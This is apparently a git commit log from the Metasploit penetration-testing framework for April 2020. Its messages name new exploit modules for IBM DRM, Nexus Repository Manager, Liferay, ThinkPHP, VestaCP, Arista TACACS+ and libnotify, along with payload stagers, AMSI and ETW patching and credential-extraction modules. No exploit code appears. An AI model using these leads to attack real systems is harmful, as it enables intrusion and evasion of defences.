2020-04-22 10:52:00 -05:00
Adam Galway 789b5dec00 adds tag functionality for hosts 2020-04-22 16:47:23 +01:00
h00die 6dab84c929 more docs 2020-04-22 10:58:50 -04:00
h00die 1078f73ada more docs 2020-04-22 10:56:15 -04:00
h00die 36245fcc26 working in multi 2020-04-22 10:48:32 -04:00
Spencer McIntyre 6995a9a775 Add strong and qualified name types for .NET assemblies 2020-04-22 10:38:21 -04:00
Spencer McIntyre 3c4afa805b Cleanup style inconsistencies and update record read logic 2020-04-22 09:18:03 -04:00
h00die b853d64af3 hexchat on linux working 2020-04-22 09:07:19 -04:00
Tim W 983ebfc0bb fix documentation and add osx platform 2020-04-22 18:50:05 +08:00
Tim W 13c94966c8 add some basic documentation 2020-04-22 13:27:17 +08:00
Pedro Ribeiro 0bef1757d2 Create ibm_drm_a3user.rb 2020-04-22 12:17:34 +07:00
Pedro Ribeiro dd96481993 Create ibm_drm_a3user.md 2020-04-22 12:16:26 +07:00
Tim W d095b667ae fix rubocop 2020-04-22 12:38:49 +08:00
Tim W 63b46839f5 fix firefox keys 2020-04-22 12:37:48 +08:00
Tim W 33c63b1056 add description 2020-04-22 12:37:48 +08:00
Tim W ef368e043d use espia for screenshots on windows 2020-04-22 12:37:48 +08:00
Tim W 10f89eec69 default to localhost 2020-04-22 12:37:48 +08:00
Tim d62e68e355 Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-04-22 12:37:48 +08:00
Tim W 25b2fa8335 add mouse move events 2020-04-22 12:37:48 +08:00
Tim W 17174beecb fix event sequencing 2020-04-22 12:37:48 +08:00
Tim W 8cb2460f08 fix screenshare 2020-04-22 12:37:48 +08:00
Tim W c673f85b58 Add initial commit of screenshare module 2020-04-22 12:37:48 +08:00
Spencer McIntyre c920ca7181 Implement changes from PR feedback 2020-04-21 21:08:05 -04:00
ChristopherAnders e29ed335de Add CVE-2020-9015 Arista TACACS+ SSH Shell Escape
This module exploits a vulnerability of a combined poorly configured TACACS+ config and
Arista's bash shell.

This module has been tested successfully on:
- tac_plus version: 202001211926/PCRE/DES
- Arista HW/SW DCS-7280SRAM-48C6-R   – 4.22.0.1F
- Arista HW/SW DCS-7050CX3-32S-R     – 4.20.11M
- Arista HW/SW DCS-7050QX-32S-R      – 4.20.9M
2020-04-21 12:21:52 -07:00
Metasploit dbafa8f22c automatic module_metadata_base.json update 2020-04-21 12:10:20 -05:00
Spencer McIntyre 1615a68abf Land #13263, remove spaces from the Python stager 2020-04-21 12:55:02 -04:00
bwatters-r7 0bbb822fe4 Working through mountpoint issues 2020-04-21 09:54:45 -05:00
Mehmet İnce f174b71549 Recalculate payload cache sizes and update payload format 2020-04-21 16:06:36 +03:00
Alan Foster d43dc330da Land #13298, Fix ExitOnSession usage in to_handler 2020-04-21 13:43:17 +01:00
Pedro Ribeiro 0519328013 Create ibm_drm_download.md 2020-04-21 15:53:53 +07:00
Pedro Ribeiro 13c4d50c2c Create ibm_drm_download.rb 2020-04-21 15:53:12 +07:00
Pedro Ribeiro e75a6420a7 Create ibm_drm_rce.md 2020-04-21 15:50:38 +07:00
Pedro Ribeiro 8f5d6e4fa4 Create ibm_drm_rce.rb 2020-04-21 15:49:48 +07:00
Pedro Ribeiro 243eec2f7e Merge pull request #16 from rapid7/master
ready to go
2020-04-21 15:47:32 +07:00
Metasploit dc576a51f8 automatic module_metadata_base.json update 2020-04-20 21:26:00 -05:00
William Vu 80efe81504 Land #13299, documentation standard module updates 2020-04-20 21:16:05 -05:00
William Vu c5df5355ac Update my module documentation to the new standard
Also update CheckModule to match current style and best practices.
2020-04-20 20:06:52 -05:00
h00die 2e88fc2f82 more reviews 2020-04-20 21:01:15 -04:00
Spencer McIntyre 15b816d14d Fix ExitOnSession usage in to_handler 2020-04-20 20:02:58 -04:00
b4rtik 9be3f1d751 Code cleanup 2020-04-21 00:12:47 +02:00
b4rtik d1a8ac072a Fix Amsi and Etw patching 2020-04-20 23:52:19 +02:00
bwatters-r7 ca148c772e minor import changes searching for bug 2020-04-20 09:32:55 -05:00
gwillcox-r7 129d15b8eb Land #13282, Add Unicode support to search command 2020-04-20 09:29:52 -05:00
Metasploit 668de339d4 automatic module_metadata_base.json update 2020-04-20 08:31:01 -05:00
Spencer McIntyre b89744cef2 Land #12145, add a module to generate grafana cookies 2020-04-20 09:21:01 -04:00
Spencer McIntyre c9bfcf2240 Make VERSION an OptEnum and clean up whitespace 2020-04-20 09:20:55 -04:00
h00die 40095a8d05 glance variable 2020-04-19 22:54:38 -04:00
h00die e2c792e80d rubocop 2020-04-19 17:23:54 -04:00
h00die e3869bc109 remove functions 2020-04-19 17:19:47 -04:00
h00die 2772beac45 doc fix 2020-04-19 15:28:56 -04:00
h00die e1f1ad45bc working exploit 2020-04-19 15:19:19 -04:00
svnsyn a4507bbfc6 requested changes 2020-04-19 19:53:33 +02:00
svnsyn d22850316e rquested changes 2020-04-19 19:47:02 +02:00
cn-kali-team 38176266f9 Check encoding 2020-04-19 09:54:04 +08:00
cn-kali-team c11855f0a0 Check encoding 2020-04-19 09:53:55 +08:00
h00die 58074dc6bb waiting on metasm question 2020-04-18 20:26:45 -04:00
cn-kali-team cca50b6cfa fix #13150 2020-04-18 13:21:46 +08:00
cn-kali-team 9158e4bb72 fix #13150 2020-04-18 13:19:37 +08:00
Alan Foster 71e8ce7a39 Add additional label actions 2020-04-17 23:17:04 +01:00
bwatters-r7 ed079f343a Land #13277, Bump payloads to 1.3.91
Merge branch 'land-13277' into upstream-master
2020-04-17 16:44:05 -05:00
bwatters-r7 a8bed1516b Reverse it.... 2020-04-17 16:41:00 -05:00
gwillcox-r7 07db3c260a Initial improvements to screenshot command to fix #13182 2020-04-17 16:32:41 -05:00
b4rtik 6e931f23d6 Some rubocop fix 2020-04-17 23:08:50 +02:00
h00die 22e2a17873 cram-md5 2020-04-17 16:51:25 -04:00
bwatters-r7 d9592adca9 Bump payloads to 1.3.91 2020-04-17 14:04:19 -05:00
Metasploit 582580d914 automatic module_metadata_base.json update 2020-04-17 11:47:15 -05:00
Alan Foster 214cb2a338 Land #13274, fix whitespace within module comments 2020-04-17 17:38:45 +01:00
William Vu a58200641f Add extra indentation as per GitHub discussion 2020-04-17 11:22:51 -05:00
William Vu 7fe0d4ddad Add another blank line 2020-04-17 11:05:01 -05:00
William Vu 4952ec3e5b Fix RuboCop's mistakes in recently landed modules 2020-04-17 10:21:17 -05:00
gwillcox-r7 e5cefbfcf1 Land #13267, Rename tip command to tips 2020-04-17 10:14:38 -05:00
Metasploit 30425f73c4 automatic module_metadata_base.json update 2020-04-17 09:47:10 -05:00
gwillcox-r7 f29b4e170a Land #13261, Rubocop recently landed modules 2020-04-17 09:36:07 -05:00
Alan Foster f2c3fc5f00 Rubocop recently landed modules 2020-04-17 11:55:04 +01:00
Alan Foster 5e6ce9ff9c Rename tip command to tips 2020-04-17 10:38:26 +01:00
h00die a7ef822d4a extra url 2020-04-17 00:57:31 -04:00
h00die 5091b6fb16 now captures auth 2020-04-17 00:51:05 -04:00
Metasploit 2336790406 automatic module_metadata_base.json update 2020-04-16 22:29:03 -05:00
gwillcox-r7 d759fbaed3 Land #13259, Miscellaneous fixes for @wvu's modules and documentation 2020-04-16 22:10:10 -05:00
William Vu 966194d2b7 Remove tested admin password from default PASSWORD 2020-04-16 21:45:44 -05:00
William Vu de116fc6be Refactor setup section in Nexus module doc 2020-04-16 21:24:31 -05:00
gwillcox-r7 efe9cdd9b2 Land #13268, Additional productivity tips 2020-04-16 19:42:52 -05:00
Alan Foster 6a354fa83d Add additional tips 2020-04-17 00:07:02 +01:00
Metasploit 2a6a8e4c23 automatic module_metadata_base.json update 2020-04-16 17:27:58 -05:00
bwatters-r7 b5df7e8147 Land #13102, Add UnRAID 6.8.0 Authentication bypass to RCE
Merge branch 'land-13102' into upstream-master
2020-04-16 17:18:55 -05:00
bwatters-r7 f0f403b48e Automated Rubocop fixes 2020-04-16 17:17:02 -05:00
bwatters-r7 4c94989de5 Land #13266, Fix CVE-2020-7350 (command execution in libnotify)
Merge branch 'land-13266' into upstream-master
2020-04-16 16:29:22 -05:00
Metasploit 512e806a87 automatic module_metadata_base.json update 2020-04-16 16:12:55 -05:00
bwatters-r7 15f4f7ea95 Land #13049, Add fileformat exploit for libnotify plugin
Merge branch 'land-13049' into upstream-master
2020-04-16 16:03:14 -05:00
bwatters-r7 a18a5fab68 Rubocop autocorrect and update docs to use ascending numbers 2020-04-16 16:00:56 -05:00
Spencer McIntyre fe8a191eed Fix the fixed version for CVE-2020-7350 2020-04-16 15:45:48 -04:00
Spencer McIntyre a13580bfd2 Fix the payload size tests for real this time 2020-04-16 15:35:38 -04:00
Spencer McIntyre 286a83afee Add module documentation and fix the payload CachedSize value 2020-04-16 15:00:18 -04:00
Spencer McIntyre 59e31ed3c0 Use the Python mixin to create the exec stub 2020-04-16 13:36:14 -04:00
Spencer McIntyre 50cfb07cff Add the CVE reference and use Rex for base32 encoding 2020-04-16 13:21:10 -04:00
Metasploit be19fb004c Bump version of framework to 5.0.86 2020-04-16 12:02:53 -05:00
pasta 80c82a80ee add fix for libnotify plugin 2020-04-16 12:31:36 -04:00
pasta 065e091384 add exploit for libnotify plugin 2020-04-16 12:28:17 -04:00
pasta a83155d5e5 added reverse meterpreter stager cmd python 2020-04-16 12:14:21 -04:00
Metasploit e55bcfc182 automatic module_metadata_base.json update 2020-04-16 11:13:04 -05:00
Shelby Pace 4685af116c Land #13235, add Zen Load Balancer dir traversal 2020-04-16 11:03:59 -05:00
Shelby Pace 1ef1142ca2 add mixin, modify traversal, etc. 2020-04-16 10:52:10 -05:00
Metasploit 8f09f2dc8d automatic module_metadata_base.json update 2020-04-16 10:50:15 -05:00
Spencer McIntyre 62a000fe32 Land #13193, add updates to the trusted service path LPE 2020-04-16 11:41:02 -04:00
Mehmet İnce 69b0dd180c Added python stager format without space 2020-04-16 16:21:39 +03:00
bwatters-r7 b79faae2bd In AI we trust 2020-04-16 08:19:20 -05:00
William Vu cd9e5260f7 Note post-auth requirements in Nexus exploit 2020-04-15 20:25:05 -05:00
William Vu 4401e3654f Merge remote-tracking branch 'upstream/master' into bug/misc
So we can grab the Nexus files from master.
2020-04-15 20:24:44 -05:00
Metasploit 3af875cd43 automatic module_metadata_base.json update 2020-04-15 19:38:18 -05:00
gwillcox-r7 5229d2a9fd Land #13195, Nexus Repository Manager EL Injection RCE 2020-04-15 19:27:24 -05:00
William Vu 820306919c Reword setup section, once more with feeling 2020-04-15 18:57:47 -05:00
William Vu 7c678e61c3 Add note about getting/changing the admin password 2020-04-15 18:32:50 -05:00
William Vu 0684966dcb Make better comments for the comment god 2020-04-15 18:24:28 -05:00
William Vu b7501c1f0c Add my standard print for CmdStager
And comment some methods used by it.
2020-04-15 18:06:48 -05:00
bwatters-r7 1b5d75f00c Alan updates, Rubocop complaints. 2020-04-15 17:47:17 -05:00
Spencer McIntyre 23319489b9 Remove unnecessary logic from ClassWithId 2020-04-15 18:11:45 -04:00
bwatters-r7 9bede45746 Word 2020-04-15 17:01:32 -05:00
bwatters-r7 23cd4708c6 Forgot a step 2020-04-15 16:57:56 -05:00
bwatters-r7 2166ab04ac First swipe at CVE-2019-15752 2020-04-15 16:52:45 -05:00
William Vu 17affae9c3 Add module doc 2020-04-15 15:49:45 -05:00
William Vu 6db312636d Add Nexus Repository Manager Java EL Injection RCE 2020-04-15 15:49:33 -05:00
William Vu 66d5f51e51 Remove Nexus content from this branch
So the remaining changes can be PR'd separately.
2020-04-15 15:48:09 -05:00
William Vu 07e77ef815 Update comments, once more with feeling 2020-04-15 15:47:51 -05:00
William Vu 57c13ca8b1 Clarify ThinkPHP exploit's PoC block comments 2020-04-15 15:47:51 -05:00
William Vu e8840563be Comment comments 2020-04-15 15:47:51 -05:00
William Vu 1368356d1b Add note about installing Docker 2020-04-15 15:47:51 -05:00
William Vu 994097b410 Update all my module docs to use "options" 2020-04-15 15:47:51 -05:00
William Vu 28f279654c Switch back to options (show options) in doc 2020-04-15 15:47:51 -05:00
William Vu 65d338d00e Note tested version in module 2020-04-15 15:47:51 -05:00
William Vu ebc8a74496 Update lib/msf/core/exploit/cmdstager/http.rb
Should be clearer now wtf is going on.
2020-04-15 15:47:51 -05:00
William Vu 5a91a1e54f Remove res.code == 200 check again
It really isn't necessary when we're looking for just the header.
2020-04-15 15:47:51 -05:00
William Vu 7dd3be507f Add wget CmdStager 2020-04-15 15:47:51 -05:00
William Vu e248e2ed43 Consolidate CmdStager flavors to symbols
As per the API. Strings are fine, but they're supposed to be symbols.
2020-04-15 15:47:51 -05:00
William Vu 99336f6bd3 Add ARTIFACTS_ON_DISK, since it uses CmdStager
Whoops, forgot this when I changed it from ARCH_CMD.
2020-04-15 15:47:51 -05:00
William Vu 6523dd81c9 Add comment clarifying build number 2020-04-15 15:47:51 -05:00
William Vu fbfd47684c Update ManageEngine module doc to new standard
H3 for option names.
2020-04-15 15:47:51 -05:00
William Vu 3aa95f98eb Move RPORT back to where I prefer it
It was next to SSL before because I wanted to indicate the port was SSL.
2020-04-15 15:47:51 -05:00
William Vu 7cf7211b46 Refactor desktopcentral_deserialization check 2020-04-15 15:47:51 -05:00
William Vu 5cf0f888ee Remove notes-level version information
Not sure I like this. Don't want people ot copypasta it.
2020-04-15 15:47:51 -05:00
William Vu 287ce98155 Don't be lazy anymore and pack lengths as shorts 2020-04-15 15:47:51 -05:00
William Vu d9aa80268d Rearrange methods a bit 2020-04-15 15:47:50 -05:00
William Vu 3f8bff2b5a Fix bad regex on length of "Metasploit" string
It won't match a char because it's a newline. While sticking "m" on the
end of the regex would work, there is zero reason we can't hardcode the
length, since the string is fixed.

irb(main):001:0> "\nhi" =~ /.hi/
=> nil
irb(main):002:0> "\nhi" =~ /.hi/m
=> 0
irb(main):003:0>
2020-04-15 15:47:50 -05:00
William Vu 4bf2c5edf8 Rename exploit_class to constructor_class 2020-04-15 15:47:50 -05:00
William Vu 6276247bf8 Move Expect mixin to Msf::Exploit::Remote
I don't think we'll ever see it used beyond remote exploits.
2020-04-15 15:47:50 -05:00
William Vu 79501472ae Wrap jenkins_metaprogramming Base64 at 80 columns
I think I chose Rex::Text::DefaultWrap (60 columns) before to offer a
consistent wrap regardless of indentation. Kind of a dumb waste of
space.
2020-04-15 15:47:50 -05:00
William Vu e6c42448b2 Add res.code check to match prior commit 2020-04-15 15:47:50 -05:00
William Vu 02ba071b84 Punctuate check prints to match CheckCodes 2020-04-15 15:47:50 -05:00
William Vu df992bf94b Note compromised user less specifically
This is just what was configured in the Docker container.
2020-04-15 15:47:50 -05:00
William Vu 1fdafc5104 "Correct" Windows platform in ManageEngine exploit 2020-04-15 15:47:50 -05:00
William Vu 80817204c9 Improve jenkins_metaprogramming here docs
Hat tip @adfoster-r7 for the indirect reminder!
2020-04-15 15:47:50 -05:00
William Vu ae4af1a4f0 Format Java EL expression nicely 2020-04-15 15:47:50 -05:00
William Vu baae9db092 Fix some more things 2020-04-15 15:47:50 -05:00
William Vu 6275b16b04 Fix some things 2020-04-15 15:47:50 -05:00
wvu-r7 1ce6c310ba Escape double quotes in EL payload 2020-04-15 15:47:50 -05:00
wvu-r7 143d8463ec Prefer include? for NXSESSIONID=
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-04-15 15:47:50 -05:00
William Vu 387c6fc8d2 Add module doc 2020-04-15 15:47:50 -05:00
William Vu 45263b8aa5 Add Nexus Repository Manager Java EL Injection RCE 2020-04-15 15:47:50 -05:00
Spencer McIntyre 6ae3df69c6 Update the dnn_cookie_deserialization_rce for the new library 2020-04-15 15:13:42 -04:00
Spencer McIntyre 49580a48ac Refactor exceptions and add more unit testing 2020-04-15 15:13:41 -04:00
Spencer McIntyre e809949089 Add the SOAP formatter 2020-04-15 15:13:41 -04:00
Spencer McIntyre 82dc28e2c4 Use gadget chain classes for identification 2020-04-15 15:13:41 -04:00
Spencer McIntyre 46d5628d79 Add the WindowsIdentity gadget chain 2020-04-15 15:13:41 -04:00
Spencer McIntyre 1799afd5e0 Add gadget chain author credit 2020-04-15 15:13:41 -04:00
Spencer McIntyre b37adbeeed Update existing modules to use explicit parameters 2020-04-15 15:13:41 -04:00
Spencer McIntyre dc5bce543e Refactor word and symbol arrays 2020-04-15 15:13:41 -04:00
Spencer McIntyre f808121c84 Refactor formatters into modules 2020-04-15 15:13:41 -04:00
Spencer McIntyre d6c2375eb8 Add chain consistency checks to the spec file 2020-04-15 15:13:41 -04:00
Spencer McIntyre ead2f473d9 Move the TypeConfuseDelegate gadget chain 2020-04-15 15:13:41 -04:00
Spencer McIntyre c8112404ec Fix a reference issue for the ClassWithId object 2020-04-15 15:13:41 -04:00
Spencer McIntyre d60733e04a Add and use the new EnumArray type for convenience 2020-04-15 15:13:41 -04:00
Spencer McIntyre 6b4a1abaa6 Refactor gadget chains into submodules 2020-04-15 15:13:41 -04:00
Spencer McIntyre 925c8c2c82 Experimenting to fix ClassWithId parameters 2020-04-15 15:13:41 -04:00
Spencer McIntyre 296f24499c Work on the TypeConfuseDelegate chain 2020-04-15 15:13:41 -04:00
Spencer McIntyre f447feb328 Fix and cleanup MemberValues bugs 2020-04-15 15:13:41 -04:00
Spencer McIntyre 94d67eae87 Bump bindata and start the TypeConfuseDelegate chain 2020-04-15 15:13:41 -04:00
Spencer McIntyre 0f81278436 Refactor types into submodules 2020-04-15 15:13:41 -04:00
Spencer McIntyre 60f0d3f99d More refactoring of serialization types 2020-04-15 15:13:41 -04:00
Spencer McIntyre 6b005cf85a Initial refactoring of the dot_net_deserialization 2020-04-15 15:13:41 -04:00
Metasploit 3f1601c8e4 automatic module_metadata_base.json update 2020-04-15 11:34:56 -05:00
bwatters-r7 b17e10cd39 Land #13256, bump ruby versions
Merge branch 'land-13256' into upstream-master
2020-04-15 11:24:17 -05:00
bwatters-r7 77ddf2b761 Land #13208, Archer a7 c7 lan
Merge branch 'land-13208' into upstream-master
2020-04-15 11:15:02 -05:00
bwatters-r7 00de145eda Land #13250, YAML warnings are very unnecessary, they can only do harm
Merge branch 'land-13250' into upstream-master
2020-04-15 09:50:40 -05:00
Brent Cook 2b0c4cf758 bump ruby versions
Address a some recent Ruby vulns by bumping suggested versions to the latest release.
2020-04-15 07:57:49 -05:00
Alan Foster 06cbf2bc60 Landing #13223, add additional autoamted label actions 2020-04-15 11:54:35 +01:00
Dhiraj Mishra 47bd353d79 Update zenload_balancer_traversal.rb 2020-04-15 12:56:05 +04:00
Tim W a9ce6e67ff add RequiresMidStager to osx stagers 2020-04-15 15:40:54 +08:00
Tim W 9f740bca74 fix #12837, add support for osx reverse_tcp_uuid 2020-04-15 15:31:26 +08:00
Metasploit 88aef963b9 automatic module_metadata_base.json update 2020-04-14 23:46:00 -05:00
gwillcox-r7 be4c66d04c Land #13213, Liferay Portal Unmarshalling RCE 2020-04-14 23:35:29 -05:00
William Vu a73a542399 Add a comment to appease the @gwillcox-r7 god 2020-04-14 23:10:28 -05:00
William Vu c02f74637f Update print and comments 2020-04-14 23:06:38 -05:00
William Vu 0dedf9225e s/for/of/ 2020-04-14 22:56:09 -05:00
William Vu 6d57857cd1 Switch back to options (show options) in doc 2020-04-14 22:24:01 -05:00
William Vu c95823d71d Comment convenience method 2020-04-14 22:07:13 -05:00
William Vu 8f4aa7b761 Comment more comments 2020-04-14 22:04:25 -05:00
William Vu 99c5912cc7 Comment another comment and move stuff around 2020-04-14 21:59:43 -05:00
William Vu b9382230f6 Comment my comments to myself 2020-04-14 21:41:51 -05:00
William Vu 45cd0ef9f5 Reword sentence to avoid "too" many "to"s 2020-04-14 21:28:41 -05:00
William Vu a51f9368aa Add note about installing Docker 2020-04-14 21:24:10 -05:00
William Vu 9452ff0e06 Add note to doc about Liferay being a memory hog 2020-04-14 16:08:29 -05:00
Metasploit 47ddb90ac2 automatic module_metadata_base.json update 2020-04-14 15:10:55 -05:00
Brent Cook 8e701e4956 warnings are warnings, errors are errors
Since MSF5 we've said 'WARNING' with print_error about an issue a lot of
users don't really care about (whether there's a database.yaml). While
they lose some functionality, it anecodtally doesn't seem to make a
whole lot of difference in anyone's behavior. Save a few bits and switch
these warning messages to be logged as warnings (which are quiet by
default).
2020-04-14 15:08:58 -05:00
Spencer McIntyre 5ca934bbad Land #13249, add a note and cleanup files for the VestaCP RCE 2020-04-14 16:01:28 -04:00
William Vu c9c3f87203 Note tested version in module 2020-04-14 14:01:59 -05:00
William Vu 5fbaf87c96 Move ClassLoader to HTTP::ClassLoader
Also note the SSL workaround.
2020-04-14 14:01:18 -05:00
William Vu 9b59a8e194 Be more verbose and validate classloader server 2020-04-14 14:01:18 -05:00
William Vu 06f54765c3 Remove res.code == 200 check again
It really isn't necessary when we're looking for just the header.
2020-04-14 14:01:18 -05:00
William Vu 6f77f27ed5 Move deregister_options from module to mixin
Whoops, forgot this.
2020-04-14 14:01:18 -05:00
William Vu c21bb7e9dd Bump a CheckCode to Detected
We get the Liferay-Portal header.
2020-04-14 14:01:18 -05:00
William Vu 69e1714d9a Don't be lazy anymore and pack lengths as shorts 2020-04-14 14:01:18 -05:00
William Vu 41480a2d88 Clarify classloading is over HTTP
HTTPS isn't supported by the clients I've tested.
2020-04-14 14:01:18 -05:00
William Vu db15baa257 Rename to Msf::Exploit::Remote::Java::ClassLoader 2020-04-14 14:01:18 -05:00
William Vu 673e13d8cb Unzero the lengths I zeroed so it works 2020-04-14 14:01:18 -05:00
William Vu 950a0d57db Fix bad regex in Liferay module, too, duh 2020-04-14 14:01:18 -05:00
William Vu 89610a6325 Add a comment header to the new mixin 2020-04-14 14:01:18 -05:00
William Vu 5904745072 Prefer Java variant of K&R, oops 2020-04-14 14:01:18 -05:00
William Vu 559a79726f Reformat copied Java code 2020-04-14 14:01:18 -05:00
William Vu d7cf08d5f3 Convert Java classloading code into a mixin 2020-04-14 14:01:18 -05:00
William Vu d920bb4615 Fix bad regex on length of "Metasploit" string
It won't match a char because it's a newline. While sticking "m" on the
end of the regex would work, there is zero reason we can't hardcode the
length, since the string is fixed.

irb(main):001:0> "\nhi" =~ /.hi/
=> nil
irb(main):002:0> "\nhi" =~ /.hi/m
=> 0
irb(main):003:0>
2020-04-14 14:01:17 -05:00
William Vu 83d5a673ac Rename exploit_class to constructor_class 2020-04-14 14:01:17 -05:00
William Vu a98215d27e Relax regex in case of Enterprise Edition (EE)
I don't know what the regex would be, since I don't have EE.
2020-04-14 14:01:17 -05:00
William Vu 5e65bb2a6a Document remote classloading files 2020-04-14 14:01:17 -05:00
William Vu 96242a99a1 Document the magic 2020-04-14 14:01:17 -05:00
William Vu d220c1045e Refactor check for precision 2020-04-14 14:01:17 -05:00
William Vu 8297f77d0a Update vuln discoverer to Markus Wulftange
Wasn't in the original blog post, but it's in the vendor advisory.
2020-04-14 14:01:17 -05:00
William Vu c475ddac52 Add vendor advisory to references 2020-04-14 14:01:17 -05:00
William Vu 49101a799a Add module doc 2020-04-14 14:01:17 -05:00
William Vu 0c8ee27613 Add Liferay Portal Java Unmarshalling RCE 2020-04-14 14:01:17 -05:00
gwillcox-r7 0858178c09 Add cleanup support and update description 2020-04-14 13:27:25 -05:00
Metasploit ba2f786bbb automatic module_metadata_base.json update 2020-04-14 12:13:45 -05:00
Shelby Pace 1bc40f88ac Land #13215, add LimeSurvey directory traversals 2020-04-14 12:03:10 -05:00
h00die 7884d1be34 space comments 2020-04-14 10:04:17 -04:00
Spencer McIntyre 13d8e2a237 Land #13140, add payload completion support for msfvenom 2020-04-14 08:58:08 -04:00
Metasploit 87fe5b7585 automatic module_metadata_base.json update 2020-04-13 18:31:12 -05:00
bwatters-r7 2a0095f5b7 Land #12405, Add execute_assembly post module
Merge branch 'land-12405' into upstream-master
2020-04-13 18:21:38 -05:00
bwatters-r7 b9e83bd055 Update VS build destination 2020-04-13 18:20:20 -05:00
Metasploit e56aa1a971 automatic module_metadata_base.json update 2020-04-13 17:10:02 -05:00
gwillcox-r7 3c64b8fde9 Land #13094, Vesta Control Panel v-list-user-backups RCE 2020-04-13 16:56:08 -05:00
gwillcox-r7 c151b93ba4 Fix up clarity and spelling issues in module and documentation 2020-04-13 16:28:39 -05:00
Jeffrey Martin ba091711b3 add files lost during rebase
all credit to b4rtik for these files, just restoring here
2020-04-13 14:13:59 -05:00
Metasploit 2726335ee7 automatic module_metadata_base.json update 2020-04-13 13:30:49 -05:00
Spencer McIntyre ef51e3a943 Land #13242, add context comments and fix CMDSTAGER::FLAVOR 2020-04-13 14:20:31 -04:00
Dhiraj Mishra bf982e0142 Update zenload_balancer_traversal.rb 2020-04-13 20:46:05 +04:00
Mehmet İnce b7a1fbdde2 Fixed documentation and login method 2020-04-13 18:55:56 +03:00
William Vu 51f4383ffb Explain CVEs and "fix" CMDSTAGER::FLAVOR 2020-04-13 10:37:19 -05:00
Metasploit 7b9620bf5d automatic module_metadata_base.json update 2020-04-13 09:35:55 -05:00
Spencer McIntyre cbab819bd4 Land #13240, add exploit for multiple ThinkPHP RCEs 2020-04-13 10:26:27 -04:00
Spencer McIntyre a87eb8a153 Uncomment CVE references 2020-04-13 10:25:38 -04:00
Dhiraj Mishra d26b709bb3 Update zenload_balancer_traversal.rb 2020-04-13 12:35:29 +04:00
Mehmet İnce 706a395bc0 Fixed 2nd round of suggested changes 2020-04-13 11:22:02 +03:00
William Vu 0c3080c318 Add ThinkPHP Multiple PHP Injection RCEs 2020-04-13 02:21:01 -05:00
Pedro Ribeiro 1ed64433a1 Merge pull request #15 from rapid7/master
here we go
2020-04-13 11:06:27 +07:00
Karim Kanso 1e044d5ca1 changed 'exit' to 'return' in bind_named_pipe handler 2020-04-12 19:38:05 +01:00
Dhiraj Mishra 5442d1b5ab Documentation 2020-04-12 15:07:29 +04:00
Dhiraj Mishra 6d6a2157b0 Module 2020-04-12 14:43:15 +04:00
h00die c7069fbd69 remove writable from lib, fix check 2020-04-11 12:47:53 -04:00
Mehmet İnce d906c3dc77 Fixed reviews suggestions 2020-04-11 14:38:19 +03:00
Mehmet İnce eb7d2f821d Adding CVE number
Signed-off-by: Mehmet İnce <mehmet@mehmetince.net>
2020-04-11 12:22:17 +03:00
Mehmet İnce 5d04c2b4a5 Adding documentation and module description
Signed-off-by: Mehmet İnce <mehmet@mehmetince.net>
2020-04-11 12:22:17 +03:00
Mehmet İnce 7c2f65da36 Adding vestacp exec
Signed-off-by: Mehmet İnce <mehmet@mehmetince.net>
2020-04-11 12:22:17 +03:00
b4rtik 896470a301 Fix tab and space 2020-04-11 11:06:52 +02:00
Spencer McIntyre 82fb328ab4 Land #13227, code updates for Cisco and Ubiquiti libs 2020-04-10 16:56:04 -04:00
Spencer McIntyre 3dd84ecf4d Fix variable name to not overlap with outer scope 2020-04-10 16:49:07 -04:00
Alan Foster e621c62131 Land #13205, Add validation for rpc module selection 2020-04-10 21:30:01 +01:00
b4rtik c252e0affa Update build task 2020-04-10 15:07:07 -05:00
b4rtik c845ef4830 Added required clr detection 2020-04-10 15:06:42 -05:00
b4rtik 869bb46516 Changed option type from String to Path 2020-04-10 15:06:42 -05:00
bwatters-r7 bdb6b8eca2 Rename module 2020-04-10 15:06:42 -05:00
bwatters-r7 a8ca9d372e Update documentation 2020-04-10 15:06:41 -05:00
bwatters-r7 35985836bd Code cleanup and dotnet version print 2020-04-10 15:06:41 -05:00
b4rtik e3c8c6b0cc Enabled output from clr loading 2020-04-10 15:06:39 -05:00
b4rtik b4d2dfe753 Added EtwEventWrite patching 2020-04-10 15:06:00 -05:00
b4rtik 8743cdfecc Update and USETHREADTOKEN 2020-04-10 15:05:20 -05:00
b4rtik 91a0bce53e Update modules/post/windows/manage/execute_assembly.rb
Co-Authored-By: Brendan <bwatters@rapid7.com>
2020-04-10 15:05:20 -05:00
b4rtik 82b22f528b Update external/source/HostingCLR_inject/HostingCLR/HostingCLR.cpp
Co-Authored-By: Brendan <bwatters@rapid7.com>
2020-04-10 15:05:19 -05:00
b4rtik 4c26fa7a67 Fix arguments managing 2020-04-10 15:05:19 -05:00
b4rtik 2c7bfe8dab Update execute_assembly.rb 2020-04-10 15:05:19 -05:00
b4rtik 0203e38eb0 Code refactoring 2020-04-10 15:05:19 -05:00
b4rtik 1476f08dd0 Fix arguments managing 2020-04-10 15:05:18 -05:00
b4rtik d1c812bb25 Update HostingCLR.vcxproj 2020-04-10 15:05:18 -05:00
b4rtik baf25fb064 Removed dependency on vc runtime 2020-04-10 15:04:51 -05:00
b4rtik a3abfb13da Some fix 2020-04-10 14:57:41 -05:00
b4rtik 3b6d2fc819 Update execute_assembly.rb 2020-04-10 14:57:40 -05:00
b4rtik 684ac5e923 Update execute_assembly.rb 2020-04-10 14:57:40 -05:00
b4rtik 801bc186a6 Update execute_assembly.rb 2020-04-10 14:57:40 -05:00
b4rtik 33cd725562 Add dynamic size for assembly and args 2020-04-10 14:57:37 -05:00
b4rtik aa66f5c3df Update execute_assembly.rb 2020-04-10 14:56:33 -05:00
b4rtik 1e8b8c7678 Update execute_assembly.rb 2020-04-10 14:56:27 -05:00
b4rtik a5d34106a0 Update execute_assembly.md 2020-04-10 14:54:53 -05:00
b4rtik 60efa92f24 Update execute_assembly.md 2020-04-10 14:54:53 -05:00
b4rtik e490688c5b Update execute_assembly.md 2020-04-10 14:54:53 -05:00
b4rtik b77dcb82f6 Create execute_assembly.md 2020-04-10 14:54:53 -05:00
h00die a01d50de38 add windows writable? and update unqouted service path 2020-04-10 14:54:20 -04:00
h00die 6a2561d2d1 remove excessive store_loot from cisco lib 2020-04-10 09:45:18 -04:00
Metasploit a2ec9fe5a3 automatic module_metadata_base.json update 2020-04-10 08:42:37 -05:00
Brent Cook a1d347a639 Land #13154, enhance Meterpreter Window enumeration and Teamviewer credential extraction 2020-04-10 08:28:46 -05:00
